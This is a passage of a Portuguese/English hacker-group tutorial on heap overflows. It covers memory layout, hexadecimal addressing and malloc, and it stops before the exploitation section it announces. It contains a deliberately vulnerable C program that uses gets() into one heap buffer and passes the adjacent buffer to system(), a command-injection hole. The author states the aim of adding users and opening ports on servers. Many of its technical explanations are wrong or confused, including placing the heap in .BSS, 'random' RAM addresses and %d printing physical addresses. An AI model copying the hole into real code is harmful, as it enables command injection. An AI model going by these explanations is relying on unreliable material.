[3] - http://www.forum.darkers.com.br/index.php?topic=9941.msg44462;topicseen#msg44462
=====================================================================
Difference Between AT&T and Intel Assembly Syntax

[4] - http://www.w00w00.org/files/articles/att-vs-intel.txt
=====================================================================
Tutorial Basico do gcc e entendendo as etapas de compilacao

[5] - http://www.hunterhacker.xpg.com.br/gcc_tuto_1.txt
=====================================================================


"O ser mais perigoso e aquele que nao representa perigo algum."

[]`s

by

6_Bl4ck9_f0x6 - Viper Corp Group





+================================ ***** ====================================+
|=-------------------=[ <-|-> Corporacao Vibora <-|-> ]=-------------------=|
< _====================================_ >
|=---------------=[ A CENA HACKER UNDERGROUND BRASILEIRA ]=----------------=|
< ====================================== [s] >
| SUA EMPRESA EM BOAS MAOS |
+===========================================================================+


YOUR COMPANY IN GOOD HANDS, OUR HANDS.


Titulo : Heap Overflow (Parity bit edition\r\n)
Autor : 6_Bl4ck9_f0x6
A.k.a : David Diego D. Firmino Siqueira
Email : b-fox@bol.com.br
Milw0rm : http://wWw.milw0rm.com/author/1863/
PacketS : http://wWw.packetstormsecurity.org


"Uma noite destas, vindo da cidade para o Engenho Novo, encontrei num trem da Central
um rapaz aqui dobairro, que eu conheco de vista e de chapeu. Cumprimentou-me, sentou-se
ao pe de mim, falou da lua e dos ministros, e acabou recitando-me versos. A viagem era
curta, e os versos pode ser que nao fossem inteiramente maus. Sucedeu, porem, que, como
eu estava cansado, fechei os olhos tres ou quatro vezes; tanto bastou para que ele
interrompesse a leitura e metesse os versos no bolso."


-- Dom Casmurro de Machado de Assis


[+ ======X============X===============X===== +]
INDICE
[+ ======X============X===============X===== +]


<-+-> 1.0 - Introducao
<-+-> 2.0 - Possiveis utilidades
<-+-> 3.0 - Modelos de memoria
<-+-> 4.0 - Entendendo os enderecos de memoria
<-+-> 5.0 - Overview sobre alocacao dinamica e o utilizacao de static

<-+-> 6.0 - Entendendo o SetUID
<-+-> 6.1 - .Movie

<-+-> 7.0 - Desenvolvendo exploits de Denial of Service
<-+-> 8.0 - Useful links and references



1.0 - introducao


Os pre-requisitos basicos para a leitura e "entendimento" deste texto e' o conhecimento
em nivel intermediario da linguagem de programacao 'C', e conhecimento previo de sistemas
Unix/Linux e Windows, pois neste texto contera' exemplos de exploracao em ambas as plata-
formas. Com esse texto pretendo abordar o funcionamento de uma das inumeras falhas de
seguranca mais exploradas, o bug de 'heap overflow', que comumente e' chamado de 'Buffer
Overrun' por uma grande parte da comunidade de seguranca. Dedicarei esse texto a F3rGO,
Dark_Side, Darkness, Cheat Struck, Emmanuely, AciDmuD, VooDoo, Osmar Ferrante e a todos
que fizeram e que continuam fazendo da cena hacker brasileira, um cena forte.


1.0 - Introduction

The basic requirements to read and learn the informations in this text is the basic knowledge
about programming in C language and previous knowledge in Unix systems and Windows, because
of this text to cointain examples of exploration in both plataforms. This text will cover
the steps to exploit a flaw called 'Heap Overflow' also usually called Buffer Overrun by the
security community. I offer this text to Dark_Side, Cheat Struck, Darkness, F3rGO, Emmanuely,
AciDmuD, VooDoo and to all security experts from Brazil.



2.0 - Possiveis utilidades


De 100 servidores na internet, como servidor de web, sql e ftp, no minimo uns 80 estao
rodando sobre arquitetura Unix, por isso a importancia da obtencao de conhecimento em
sistemas Unix, pela quantidade esmagadora de servidores. Com o conhecimento que aqui
sera' descrito voce sabera' se utilizar dessa falha para adicionar usuarios ao sistema,
abrir portas para um posterior acesso, entre varias outras acoes que, dependendo do seu
nivel de conhecimento sobre Unix, serao quase infindaveis. A distribuicao Linux que
aqui sera' utilizada deriva do Debian, chamada de 'kurumin Linux'. Veja informacoes nao
tao relevantes (para o nosso proposito) sobre minha arquitetura:


2.0 - Possible utilities


The most of the services in the internet like web servers, sql and ftp are running on
Unixes. With this knowledge described below you'll know to use this flaw to add a user
to system, for open ports, between many others good actions. The Linux distribution used
in my samples is called Kurumin Linux (Based on Debian Linux). See below informations
without importance to our purpose, just for convenience (such as the Windows).


sh-3.1$ cat /proc/cpuinfo
processor : 0
vendor_id : AuthenticAMD
cpu family : 15
model : 44
model name : AMD Sempron(tm) Processor 2600+
stepping : 2
cpu MHz : 1599.957
cache size : 128 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 1
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov
pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow
pni lahf_lm ts ttp tm stc
bogomips : 3203.58


root@Black_Machine:/home/Black_Fox# cat /etc/issue

Kurumin Linux, Debian Etch \n \l
http://www.guiadohardware.net


sh-3.1$ uname -a
Linux Black_Machine 2.6.18.1-slh-up-2 #1 PREEMPT Wed Oct 25 18:46:42 CEST 2006 i686 GNU/Linux
sh-3.1$ arch
i686
sh-3.1$



3.0 - Modelos de memoria


O modelo usual de memoria depende muito do sistema, me utilizarei como base inicial o
modelo no "Linux/i186" apenas para demonstracao, apesar dos modelos usuais de memoria
serem diferentes para cada sistema, o ponto chave e' o mesmo, Heap e' um local, stack
e' outro. A regiao onde ocorre o Heap Overflow armazena dados em enderecos sequenciais


+-----------+
| .DATA | <-- Regiao onde ocorre o Stack overflow
+-----------+
| .BSS | <-- Regiao onde ocorre o Heap Overflow
+-----------+
| .TEXT | <-- Instrucoes em Assembly (Written in Assembly)
+-----------+


O "stack" overflow ocorre na registao .DATA, o 'Heap overflow' ocorre na regisao '.BSS',
o comum e' usarmos heap overflow p/ sobrescrever os enderecos de memoria na regiao .BSS
"longe" de seus "limites", pois ainda existe a possibilidade de manipulacao de colisoes
entre heap e stack, mas nao e' o foco deste texto descrever tal tecnica. A regiao '.TEXT'
armazena o codigo do programa em assembly, codigos esses que sao representacoes diretas
das instrucoes de maquina, instrucoes essas que por sua vez sao nomeadas de Operational
Codes - Codigos Operacionais, ou simplesmente "OpCodes" .


Exemplo:

OpCode Assembly

90 NOP


O NOP e' convertido em 90 ("Instrucao de maquina"). '90' e' um set instruction (Na linguagem
de programacao "Assembly") em formado OpCode, e esta em hexadecimal, e equivale a 1 byte,
como tantas outras, tal como MOV. Essas instrucoes equivalem a 1 byte porque dois digitos
em hexadecimal equivalem a 8 bits. Para denotarmos valores hexadecimais utilizamos a notacao
'\x' (especificador de constantes hexadecimais em C) dentro da string.


"\x41" <-- A
"\x42" <-- B
"\x43" <-- C


-- cut --

#include <stdio.h>

main (){

printf ("%c, %c e %c\n", 0x41, 0x42, 0x43); }

-- cut --


Resultado:

A, B e C

-- cut --

#include <stdio.h>

main (){

printf ("%x, %x e %x\n", 'A', 'B', 'C'); }

-- cut --

Resultado:

41, 42 e 43



O processador trabalha em nivel hexadecimal/opcodes, e a base numerica utilizada
pelo processador para enderecamento na memoria obviamente que tambem e' essa.
Abaixo voce podera' ver um layout de memoria classico para processos.



+-------------------+
| | <----+
| Stack (Pilha) | |
| | |
+ | + |
| | | |
| V | |
| | |
< > |
| | |
| ^ | |
| | | |
+ | + |
| | |
| Heap | |
| | | +-------------------------+
+-------------------+ +-----< Classical Memory Layout |
| Variaveis globais | | | ======================= |
+-------------------+ | +-------------------------+
|Codigo do programa | <----+
+-------------------+


Como citei anteriormente, lhe dizer a disposicao fisica global de memoria, nao e' possivel,
pois memoria varia de acordo com as implementacoes do C/Compilador, CPU e "ambiente". Esse
e' o modelo ideal para termos em mente. A regiao 'Codigo do Programa' armazena o codigo
executavel do programa. Na regiao "variaveis globais" e' onde todas as variaveis globais
sao armazenadas. A area 'Stack' e' a responsavel por salvar o endereco de retorno das
subrotinas, passar parametros para funcoes, criar variaveis locais, etc. A heap e' a area
responsavel por armazenar dados alocados dinamicamente, e enderecos de variaveis esticas
(static). Como voce pode perceber atraves das setas neste diagrama acima, os ponteiros Heap
e Stack gravam dados convergindo em sentido as suas respectivas areas de alocacao de
memoria disponiveis, podendo ocasionar colisoes, pois essas areas gravao dados convergindo
para a mesma direcao, a stack grava dados a partir do maior endereco (0xffffffff) para o
menor (0x00000000) e a Heap faz o oposto, partindo do menor endereco (0x00000000) para o
maior 0xffffffff.



4.0 - Entendendo os enderecos de memoria


Vou falar primeiramente da unidade de base 16, ou seja, o hexadecimal. Tomarei como exemplo
a base decimal.


0 1 2 3 4 5 6 7 8 9


Observe que o 9 e' o ultimo numero da dezena, depois os numeros comecarao a ser repetidos.
Nesse caso o 1 (10). Observe que comecei do 0, pois para representar o 10 precisei inserir
o 1 ao lado do '0'. A base 16 e' a base numerica utilizada para enderecamento na memoria,
a base hexadecimal propriamente dita. A memoria de qualquer computador e' dividida em
"segmentos", cada seguimento tem 64k de tamanho.


Veja a tabela:

+---+-----------------------------------------------------------+
| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | B | C | D | E | F |
+---+-----------------------------------------------------------+
| | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | | | | | | | |
+_--------------------------------------+ V V V V V V |
| | 10| 11| 12| 13| 14| 15|
| +_---------------------_+
|
+-- > A memoria comeca a ser escrita a partir do endereco 0 em cada
seguimento, assim fazendo o '0' ser o 1 e o F ser o 16. Isso
quando estamos nos referindo a memoria do sistema.



Um outro exemplo:


Para contagem: +---> Os numeros comecam a ser repetidos em hexa
| 2044 = 7FC
|
1 2 3 4 5 6 7 8 9 A B C D E F 10 11 12 13 14 <--- Hexadecimal
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <--- Decimal


Para enderacamento:

0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B...
|
+--> 16


Quando fazemos calculos com valores hexadecimais nao podemos usar o '0' para representar
o 1, apenas em enderecamento. 1024 bytes = 1 KB. Para saber quantos bytes existem dentro
de determinado numero de KBs, faca isso:

1024 bytes * 64K = 65536 bytes

Digite FFFF em 'Hex' na calc.exe e logo em seguida mude para 'Dec', vera 65535. A calcu-
ladora nao conta '0', mas no nosso calculo acima existe o '0' porque '1024' bytes * '64'k
equivalem e 6553'6' bytes. Como voce pode notar a memoria comeca a ser escrita a partir
do endereco 0. Sempre multiplique o numero de KBs por '1024' que representara os bytes.
Tendo em vista que 8 bits equivalem a 1 byte, para sabermos quantos bits existem dentro
de um determinado numero de bytes, basta multiplicarmos o numero de bytes por 8, que e' o
numero de bits. Veja:

2 bytes * 8 bits = 16 bits


O programa abaixo exibe onde os dados inseridos por nos sao gravados na memoria.


-- I_love.c --

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main (int argc, char **argv){

char heaven[777];

if (argc != 2){
fprintf (stderr, "Use: %s <your_name_here>\n", *(argv+0));
exit (-1);}

memcpy (&heaven, *(argv+1), sizeof (heaven));
fprintf (stdout, "Welcome to Heaven %s\n\n", *(argv+1));
puts ("This is your heaven\n");

int Te_amo=0;

for (Te_amo;Te_amo<=strlen (heaven);Te_amo+=1){
printf ("%X -> %c\n", &heaven[Te_amo], heaven[Te_amo]);}
return (0);}

-- cut --



6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ gcc -o love I_Love.c
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love
Use: ./love <your_name_here>
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love David
Welcome to Heaven David

This is your heaven

BFA69E73 -> D
BFA69E74 -> a
BFA69E75 -> v
BFA69E76 -> i
BFA69E77 -> d
BFA69E78 ->
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$


Compilarei e executarei este mesmo programa no windows, repare nos enderecos
de memoria:


C:\Documents and Settings\David>gcc c:\I_Love.c -o love

C:\Documents and Settings\David>love.exe
Use: love.exe <your_name_here>

C:\Documents and Settings\David>love.exe "<->6_Bl4ck9_f0x6<->"
Welcome to Heaven <->6_Bl4ck9_f0x6<->

This is your heaven

22FC60 -> <
22FC61 -> -
22FC62 -> >
22FC63 -> 6
22FC64 -> _
22FC65 -> B
22FC66 -> l
22FC67 -> 4
22FC68 -> c
22FC69 -> k
22FC6A -> 9
22FC6B -> _
22FC6C -> f
22FC6D -> 0
22FC6E -> x
22FC6F -> 6
22FC70 -> <
22FC71 -> -
22FC72 -> >
22FC73 ->

C:\Documents and Settings\David>


Como foi anteriormente citado, os dados sao gravados na memoria a patir do endereco '0'
a 'F'. Observe que a primeira letra da string <->6_Bl4ck9_f0x6<-> e' salva no endereco
22FC60, essa faixa se inicia com '0' e vai ate' o 'F' (22FC6F -> 6), depois o valor
volta a ser '0' ( 22FC70 -> < ), pois em hexadecimal o maior numero e' F. Repare que o
numero a esquerda era 6 (22FC'6'F), quando uma linha de endereco chega a F, alem deste
endereco voltar a ser 0, o numero que esta' ao lado deste, e' incrementado (Neste caso),
ou seja, 22FC'7'0. Existem implementacoes que salvam dados do maior endereco (0xffffffff)
para o menor (0x00000000 <- Nao chega ate' aqui porque o sistema tambem usa memoria, as-
sim fechando o programa.) e vice-versa. A maneira de alocacao de dados para variaveis na
memoria varia muito, os fatores que interferem nesse caso ja fora citados (Compilador/C,
Plataforma, etc...). A stack armazena dados do maior endereco ate' o menor, ou seja, o
programa "tende" a chegar ao endereco 0x00, mas isso e' impossivel pois estes enderecos
iniciais sao reservados para o sistema, assim ocasionando o imediato fechamento da apli-
cacao violadora. Para nos referirmos a enderecos de memoria devemos especificar que se
trata de valores hexadecimais, portanto devemos especificar o '0x' (notacao utilizada
como desinencia para algarismos em hexadecimal).


Veja:


main (){
printf ("%d", 0xA); }

Resultado:

10


No exemplo acima (I_love.c), matrizes de caracteres ("strings") sao armazenadas em ende-
recos sequenciais/continuos. Em hardware de 32 bits uma faixa de memoria cheia e' equiva-
lente ao hexadecimal 0xffffffff, pois dois digitos hexa equivalem a um byte ('8' bits), a
faixa de enderecos acima possui '8' digitos em hexa, isso e' igual a 4 bytes, 32 bits. Em
hardware de 16 bits um numero inteiro ocupa 2 bytes na memoria porque 0xffff e' o maior
endereco em hardware de 16 bits, tendo em vista que uma variavel do tipo int ocupa uma
faixa intEIRA na memoria. Cada tipo de variavel ocupa uma quantidade de dados na memoria.
Um caractere (char) ocupa apenas 1 byte na memoria, uma variavel do tipo int, ja citada,
ocupa quatro bytes contiguos (Hardware de 32 bits), uma variavel do tipo long tambem ocupa
4 bytes, double 8 bytes, etc. Um ponteiro sempre tera' o tamanho de 4 bytes em hardwares
de 32 bits, nao importa o seu tipo. Voce podera' ver a quantidade de bytes que uma
variavel ocupa no seu sistema usando o operador sizeof().


#include <stdio.h>

main (){

printf ("char : %d byte\n", sizeof (char));
printf ("int : %d bytes\n", sizeof (int));
printf ("float : %d bytes\n", sizeof (float));
printf ("double : %d bytes\n", sizeof (double));
printf ("int pointer : %d bytes\n", sizeof (int *));
printf ("double pointer : %d bytes\n", sizeof (double *));

}

Resultado:


sh-3.1$ gcc len.c
sh-3.1$ ./a.out
char : 1 byte
int : 4 bytes
float : 4 bytes
double : 8 bytes
int pointer : 4 bytes
double pointer : 4 bytes


Para uma melhor compreensao, darei um exemplo de alocacao de memoria para armazenar
determinados tipos de variaveis, usando enderecos ficticios.


-- corte aqui --

main (){

int numero=5;
char letra='C';}

-- cut here --


0x00000000 <----
0x00000001 |_____ Memoria relativa a variavel numero.
0x00000002 | Esses 4 bytes armazenam o numero 5.
0x00000003 <----
0x00000004
0x00000005
0x00000006
0x00000007
0x00000008
0x00000009
0x0000000A
0x0000000B
0x0000000C
0x0000000D
0x0000000E
0x0000000F
0x00000010 <--------- Uma variavel do tipo char ocupa 1 byte na memoria
0x00000011 (0x00000010). O indice de matrizes em C e' '0' p/
referenciar o primeiro elemento da matrix porque
matrizes sao alocadas a partir do endereco 0 na
memoria (como visto).
(...)



FFFF FFFF = 4 bytes
1234 5678
+------<>----------------------<>-------------<>------------+
0x00000000 <---- |Esse e' o espaco reservado para uma variavel inteira em |
0x00000001 |_____ |hardware de 32 bits. Cada faixa dessa equivale a 1 byte. |
0x00000002 |

 
|Repare que um int equivale a 4 bytes nesse exemplo porque |
0x00000003 <---- |o endereco de memoria maximo e' 0xffffffff (8 algarismos |
|em hexadecimal... 4 bytes). |
+------<>----------------------<>-------------<>------------+



Como havia citado acima, as areas de memoria reservadas para matrizes costumam ser
reservadas para alocacao a patir do endereco 0, por isso o indice em C e' '0'. Veja
um exemplo com matrizes de caracteres (strings):


-- Hundred.c --


#include <stdio.h>

int main (void){

char str1[]="My";
char str2[]="name";
char str3[]="is";
char str4[]="David";

int indice=0;

for (indice;indice<=strlen (str1);indice+=1)
printf ("%X -> %c\n", &str1[indice], str1[indice]);

for (indice=0;indice<=strlen (str2);indice+=1)
printf ("%X -> %c\n", &str2[indice], str2[indice]);

for (indice=0;indice<=strlen (str3);indice+=1)
printf ("%X -> %c\n", &str3[indice], str3[indice]);

for (indice=0;indice<=strlen (str4);indice+=1)
printf ("%X -> %c\n", &str4[indice], str4[indice]);

return (0);}


-- cut --


C:\>Hundred.exe
22FF60 -> M
22FF61 -> y
22FF62 -> <-- \0 Terminador de string
22FF50 -> n
22FF51 -> a
22FF52 -> m
22FF53 -> e
22FF54 -> <-- \0
22FF40 -> i
22FF41 -> s
22FF42 -> <-- \0
22FF30 -> D
22FF31 -> a
22FF32 -> v
22FF33 -> i
22FF34 -> d
22FF35 -> <-- 0


Repare que essas matrizes sao todas alocadas umas proximas das outras. Quando nao
existe mais dados em uma determinada matriz entao a "matriz" vizinha e' alocada na
memoria, e como voce pode perceber, a memoria procura o endereco seguinte que
tenha '0' disponivel e aloca a segunda matriz e assim por diante.


Observe os enderecos no Linux:


-- cut this file here --

#include <stdio.h>


main (){

char letra='M';
int numero=5;
double alundra=10.5;
float *pointer;

printf ("Endereco de letra : %p\n", &letra);
printf ("Endereco de numero : %p\n", &numero);
printf ("Endereco de alundra: %p\n", &alundra);
printf ("Endereco de pointer: %p\n", &pointer);

}

-- cut here --


sh-3.1$ gcc Minority.c -o minory
sh-3.1$ ./minory
Endereco de letra : 0xbfbe2ddf
Endereco de numero : 0xbfbe2dd8
Endereco de alundra: 0xbfbe2dd0
Endereco de pointer: 0xbfbe2dcc
sh-3.1$


Veja que nao existe uma sequencia nos enderecos, isso se deve ao fato de uma memoria RAM -
Ramdom Access Memory - Memoria de Acesso Aleatorio, como o proprio nome sugere, escrever em
qualquer endereco de memoria disponivel para alocacao de forma aleatoria. No modelo de
memoria que utilizaremos como "pista" para a exploracao os dados sao alocados/gravados na
Heap em enderecos de memoria contigua, como as matrizes. A memoria anteriormente vista e' a
memoria virtual, e como voce pode notar o esquema de enderecamento da mesma e' bastante
simples, cada processo/programa possui um endereco na memoria virtual (como ja visto, parte
de 0x00000000 em direcao a 0xffffffff), o que acontece e' que esse endereco e' mapeado para
a memoria fisica no momento da execucao do processo. O limite maximo de memoria virtual para
cada processo e' de dois GB (Giga bytes), como tambem ja citado o sistema tambem usa memoria
virtual, ou seja, se utiliza de uma parte desses bytes virtuais. Como voce podera' claramente
notar em qualquer debugger, a stack tambem faz parte da memoria virtual porque ela tambem e'
enderecavel usando o esquema acima (0x00000000 a 0xffffffff). Mesmo o endereco virtual sendo
convertido em endereco fisico na execucao do programa (Copia do mesmo para a memoria), nao
devemos de forma alguma pre-julgar que o mesmo seja representante direto e estatico para
cada pedaco da memoria fisica, porque a memoria virtual e' muito relativa, isso quer dizer,
que uma variavel pode estar armazenada em um determinado endereco virtual, mas nada impede
que outra variavel tambem esteja armazenada neste mesmo endereco virtual, o que acontece de
fato e' que no momento da execucao do programa a memoria virtual mapeia os dados de cada uma
para uma parte diferente na memoria fisica. Apesar de um programa nao compartilhar
"literalmente" sua memoria virtual com outro, isso nao e' regra.



5.0 - Overview sobre alocacao dinamica e o utilizacao de static


Alocacao dinamica como o proprio nome ja da a entender, nada mais e' que voce alocar/reservar
memoria para determinadas constantes que sao passadas pelo usuario do programa em tempo de
execucao (O termo tempo de execucao refere-se a eventos gerados durante a execucao de um pro-
grama). Uma das funcoes em C utilizada para tal se chama 'malloc()', citada por se tratar da
principal. Veja uma declaracao tradicional de ponteiro do tipo 'char':


char *pointer;


Esse ponteiro nao possui um limite para alocacao de dados definido, vou "mallocar"/alocar
memoria para o mesmo e apos isso ele "pode armazenar" 5 bytes na memoria, veja:


pointer=(char *)malloc (sizeof (char) * 5);


O operador 'sizeof()' retorna um tamanho de variaveis, matrizes ou tamanho de tipos, ou
seja, 1 * 5, tendo em vista a disponibilidade para armazenagem de um byte para variaveis
declaradas com o especificador 'char'. Como estamos lidando com o valor de "retorno" do
operador sizeof() precisaremos de um typecast '(char *)', que utilizado indica que os
dados que serao posteriormente alocados no ponteiro sao bytes para caracteres, ou seja,
o valor de "retorno da malloc()" sera' convertido em 'char', pois o ponteiro *pointer e'
do tipo char. Vamos a um exemplo de alocacao de dados e "controle" dos mesmos ao serem
passados para o ponteiro.


-- cut --

#include <stdio.h>
#include <stdio.h>

#define says printf

main (int argc_d, char **argv_d){

if (argc_d != 2){
says ("Uso: %s <seu_nome>",*(argv_d));
exit (-1);}

if (strlen (*(argv_d+1)) > 5){
fprintf (stderr, "Seu nome possui mais de 5 letras\n");
return 0;}

char *pointer;
pointer=(char *)malloc (sizeof (char) * 5);
strncpy (pointer, *(argv_d+1), 0x05);
says ("Oi ");
puts (pointer);
free (pointer); // A funcao 'free()' libera a memoria alocada
}

-- cut --


Result in the windows:


C:\>mac.exe
Uso: mac.exe <seu_nome>
C:\>mac.exe David
Oi David

C:\>mac.exe David2
Seu nome possui mais de 5 letras

C:\>


O argumento inteiro da funcao malloc() reserva dados na area 'Heap' no modelo usual
de memoria utilizado. Observe abaixo um outro exemplo de alocacao dinamica em C.


char *strdup (const char *string);


O que essa funcao faz e' basicamente alocar espaco na memoria referente a "string" e
depois retornar um ponteiro para a tal. Essa funcao faz o mesmo que o malloc(), o que
difere as duas e' que ao inves de alocarmos memoria com o 'malloc()' e nos utilizarmos
de funcoes auxiliares para copia de dados, usamos o strdup() que aloca e copia os dados
de uma unica vez.


-- cut --

main (){

char *pointer;
pointer= strdup ("Simples string"); /* Retorna a string devidamente alocada */

puts (pointer); // Imprime a string na shell
free (pointer); // Libera a memoria alocada (Na heap)
}

-- cut --


Com relacao ao static:

static char buffer[10];

Ira' alocar 10 bytes tambem "na heap", pois variaveis declaradas como estaticas, alocam
espaco nessa regiao.



Recordaremos agora o Stack Overflow (simples overview).


-- quote --

....

char variavel[7]; < --- > tipo variavel[buffer];

Cada caractere que uma variavel do tipo char armazena equivale a 1 byte, a string "luzinha"
contera' um total de 7 bytes sem contar com o terminador de string ('\0'). Sempre temos que
reservar um byte no buffer para o terminador nulo (\0), ou seja:

char variavel[8] = "luzinha\0";

Definimos acima que a variavel de nome 'variavel' sera' do tipo char e reservara' 8 bytes,
ou seja, a variavel teria um buffer ( local de armazenamento na memoria ) responsavel por
comportar 8 caracteres, pois cada caractere equivale a 1 byte. Caso aja a insercao de mais
dados que um buffer pode suportar aparentemente nao acontece nada, pois o programa podera'
aceitar (Nao exibira' nenhum alerta de erro, para ser mais especifico), mas ocorre o chamado
buffer overflow, ou simplesmente, estouro de buffer, ocasionando a reescritura da area de
memoria reservada para a variavel na stack.

Exemplo:

-------- overflow.c --------

#include <stdio.h>

main (void){
char str[3];
printf ("Estoure meu buffer [size buffer:3]:");
gets (str);
printf ("%s",str);}

---------- cut ----------


Resultado:


C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:ab < -- 2 caracteres + o terminador \0 = 3 (Normal)
ab
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas nao existe emissao de alerta pelo sistema.
1234567891011
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer
destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer

Devido ao numero excessivo de bytes inseridos na memoria acabamos por alcansar o endereco
de retorno na stack e o Windows XP SP1 emitiu a seguinte mensagem:

O overflow.exe encontrou um problema e precisa ser fechado.


-- corte aqui --


Ja que na Heap os enderecos sao armazenados em locais contiguos se desenvolvermos uma
aplicacao que reserva memoria em uma regiao da Heap e nessa mesma aplicacao conter
outra instrucao que tambem aloca memoria na mesma, os dados serao armazenados um
apos o outro.


Exemplo de alocacao de 10 bytes na Heap:


char *pointer;
pointer=(char *)malloc (10);


Reservo mais 10:

char *pointer2;
pointer2=(char *)malloc (10);

Estarao em enderecos visinhos na memoria. Veja um outro exemplo compilado sobre a
plataforma Windows.

-- cut --

#include <stdio.h>

main() {

char *pt1, *pt2;

pt1 = (char *) malloc (10);
pt2 = (char *) malloc (8);

system ("cls");
strcpy (pt1, "012345678");
strcpy (pt2, "1234567");

int i=0;

fprintf (stdout, "\nCaractere --- Endereco Virtual\n\n");
for (i;i<= strlen (pt1);++i)
printf ("%c --> %x\n", pt1[i], &pt1[i]);

puts ("");
for (i=0;i<= strlen (pt2);++i)
printf ("%c --> %p\n", pt2[i], &pt2[i]);

}

-- cut --



Caractere --- Endereco Virtual

0 --> 3d24b0
1 --> 3d24b1
2 --> 3d24b2
3 --> 3d24b3
4 --> 3d24b4
5 --> 3d24b5
6 --> 3d24b6
7 --> 3d24b7
8 --> 3d24b8
--> 3d24b9

1 --> 003D2448
2 --> 003D2449
3 --> 003D244A
4 --> 003D244B
5 --> 003D244C
6 --> 003D244D
7 --> 003D244E
--> 003D244F

C:\>_


Dois detalhes seguem agora: O %p nos mostra os enderecos ('VIRTUAIS') de memoria
em um formato completo (0x00000008), enquanto o %x apenas mostra os enderecos de
memoria virtual "utilizados". O outro:


-- cut --

#include <stdio.h>

main() {

char *pt1;
pt1 = (char *) malloc(sizeof (char) * 10);

// Se a malloc() nao conseguir alocar o numero de bytes na memoria ela retorna um NULL (0)

if (!pt1){
fprintf (stderr, "Memoria insuficiente\n");
exit (-1);}

fprintf (stdout, "\n\"Caractere\" -- Endereco Virtual\n\n");
strcpy (pt1, "138ABCJ");

int i=0;

for (i;i<=strlen (pt1);++i)
printf ("%c --> %x\n", pt1[i], &pt1[i]);

}

-- cut --

Resultado:


C:\>heap

"Caractere" -- Endereco Virtual

1 --> 3d24b0
3 --> 3d24b1
8 --> 3d24b2
A --> 3d24b3
B --> 3d24b4
C --> 3d24b5
J --> 3d24b6
--> 3d24b7

C:\>_


Note que nao existe sequencia nos enderecos virtuais por razoes ja descritas, pois a
sequencia nos enderecos sao referentes a memoria fisica referente a regiao heap, onde
os enderecos sao armazenados de forma continua, na memoria virtual apenas existe uma
sequencia explicita em enderecos virtuais de matrizes. Como pode ser observado o 'E'
comercial ('&') escrito no codigo fonte acima 'retorna' o endereco de memoria de
variaveis, enderecos esses que serao lidos (%x). O 'Estouro de Heap' ocorre de forma
similar ao stack overflow, o que difere e' que ao inves de inserirmos mais dados do
que foram reservados para uma variavel na stack, inserimos mais dados que um ponteiro
"mallocado" pode armazenar, e isso faz com que estouremos os limites de memoria
reservada para um ponteiro e assim alcansando os endereco dos ponteiros que foram
mallocado vizinhos ao primeiro. O nome Heap Overflow *Transbordar de Heap* nada mais
e' que uma alusao ao fato de "estourarmos/transbordarmos" os enderecos de memoria de
um ponteiro mallocado na heap, pois os dados alocados ('mallocados()') dinamicamente
na memoria, ficam nesta area, junto com as variaveis estaticas. Para ver enderecos
"fisicos" de uma variavel ou matriz o codigo de controle %d em C. Imagine um programa
que aloca dois ponteiros na memoria, esse mesmo programa pega dados digitados pelo
usuario e copia os mesmos para o primeiro ponteiro, o segundo ponteiro e' usado para
executar um comando do 'sistema logo apos a copia de dados para o primeiro ponteiro,
esse segundo ponteiro ou variavel estatica e' mallocado depois do primeiro na heap,
se nos enchermos o primeiro ponteiro de dados vamos alcancar o endereco do segundo
ponteiro, no qual contem um comando do sistema (Por exemplo). Para encontrarmos esse
tipo de falha basta inserirmos ao 'pt1' dados fazendo com que os mesmos transbordem a
regiao de memoria referente numeros de bytes reservados, e ao termino disto, escreve-
mos um comando qualquer, isso significa que estaremos escrevendo no endereco onde
fica armazenado o comando depois de "estourar" a Heap ate' alcancarmos o endereco da
instrucao que sera' executada pela funcao system(), isso faz com que 'system()' acabe
por executar o que inserirmos. Se esta mesma aplicacao trabalhar com SetUID entao
executamos comandos com os privilegios do dono do programa. Demonstrarei um exemplo
de exploracao simples, no qual sobrescrevemos "ponteiros".


Exemplo I.: Sobrescrevendo pointers.


-- cut --

#include <stdio.h>
#include <stdlib.h>

main (){

char *pointer_one;
char *pointer_two;

pointer_one= (char *) malloc (10);
pointer_two= (char *) malloc (10);

system ("cls & color a");
printf ("Endereco fisico de pointer_one: %d\n", pointer_one);
printf ("Endereco fisico de pointer_two: %d\n", pointer_two);

puts ("");

fprintf (stdout, "Endereco virtual de pointer_one: %p\n", &pointer_one);
fprintf (stdout, "Endereco virtual de pointer_two: %p\n", &pointer_two);

sprintf (pointer_two, "echo Bem vindo a %s irmao", "Matrix");
puts ("\nMe diga seu nome:");
gets (pointer_one);


system (pointer_two);

}

-- cut --


Execucao normal do programa:


Endereco fisico de pointer_one: 4007096
Endereco fisico de pointer_two: 4007120

Endereco virtual de pointer_one: 0022FF74
Endereco virtual de pointer_two: 0022FF70 <--- Ponteiro ocupa 4 bytes na memoria.

Me diga seu nome:
David
Bem vindo a Matrix irmao

C:\>


Observe os enderecos acima.

4007096 --> pointer_one
4007120 --> pointer_two


A heap armazena dados do menor endereco para o maior nesse caso. Veja que o primeiro
ponteiro declarado foi a pointer_one, portanto ele que sera' alocado primeiro. Repare
agora que o pointer 'pointer_two' se inicia exatamente 24 bytes dpois do buffer1.


4007096 + 24 = 4007120 (4007120 e' o endereco de pointer_two)


